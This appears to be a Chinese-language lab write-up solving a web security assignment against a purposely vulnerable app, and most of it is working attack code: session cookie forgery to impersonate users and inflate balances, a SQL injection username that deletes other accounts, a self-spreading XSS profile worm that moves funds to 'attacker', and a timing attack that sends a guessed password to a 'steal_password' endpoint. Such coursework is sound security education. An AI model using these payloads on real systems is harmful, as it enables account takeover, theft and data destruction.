let ses = docCookies.getItem("session"); let info_s = b64_to_utf8(ses); let info = JSON.parse(info_s);
console.log(info_s);
info.account.username = "user1"; info_s = JSON.stringify(info); ses = utf8_to_b64(info_s);
console.log(info_s);
document.cookie = "session=" + ses;
Cooking the Books with
Cookies
看源码 router.js,会发现它在更新数据的时候原数目是直接从 session
里取的
1 2 3
req.session.account.bitbars -= amount; query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`; await db.exec(query);
所以你直接对 cookie 改动,然后随便 trans
一下,这个东西就写到数据库里了。
答案如下,基本跟上一个是一样的
1 2 3 4 5 6 7 8 9 10
var docCookies = { ... }; let ses = docCookies.getItem("session"); let info_s = atob(ses); let info = JSON.parse(info_s); info.account.bitbars = 1000000000; info_s = JSON.stringify(info); ses = btoa(info_s); document.cookie = "session=" + ses;
SQL Injection
看源码 router.js,代码
1 2
const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";` await db.get(query);
要求删掉该用户时 user3
也会被删掉。关键在于如何让这个恶意用户也一起被删掉。
1
user3" or username like "user3%
Profile Worm
查看 Profile 时触发,观察源码,profile 的内容是插入到 html
里的,鉴定为 XSS 注入。
<script> // parse cookie let ses = document.cookie.slice(8); let info_s = atob(ses); let info = JSON.parse(info_s); // get profile and modify let prof = document.getElementById("profile").innerHTML; info.account.profile = prof; // encode again info_s = JSON.stringify(info); ses = btoa(info_s); document.cookie = "session=" + ses; // trans let xhr1 = newXMLHttpRequest(); xhr1.open("POST", "post_transfer"); xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr1.send("destination_username=attacker&quantity=1"); // upload profile to database let xhr2 = newXMLHttpRequest(); xhr2.open("POST", "set_profile"); xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr2.send("new_profile=" + encodeURIComponent(prof)); </script>
Password Extraction via
Timing Attack
最后这个是要你改 gamma_starter.html 来进行一次侧信道攻击。
这个 on error
我没用过,随便试了试,大概就下面这样吧。总之,记下用时,取那个最离谱的就行。
<spanstyle='display:none'> <imgid='test'/> <script> var dictionary = [`password`, `123456`, `12345678`, `dragon`, `1234`, `qwerty`, `12345`]; var index = 0, ans = -1, ti = 0; var test = document.getElementById(`test`); test.onerror = () => { var end = newDate(); /* >>>> HINT: you might want to replace this line with something else. */ console.log(`Try ${dictionary[index - 1]}: Time elapsed ${end-start}`); if (ti < end - start) { ti = end - start; ans = index - 1; } /* <<<<< */ start = newDate(); if (index < dictionary.length) { /* >>>> TODO: replace string with login GET request */ test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`; /* <<<< */ } else { /* >>>> TODO: analyze server's reponse times to guess the password for userx and send your guess to the server <<<<< */ let xhr = newXMLHttpRequest(); xhr.open("GET", `http://192.168.43.134:3000/steal_password?password=${dictionary[ans]}&timeElapsed=${ti}`); xhr.send(); } index += 1; }; var start = newDate(); /* >>>> TODO: replace string with login GET request */ test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`; /* <<<< */ index += 1; </script> </span>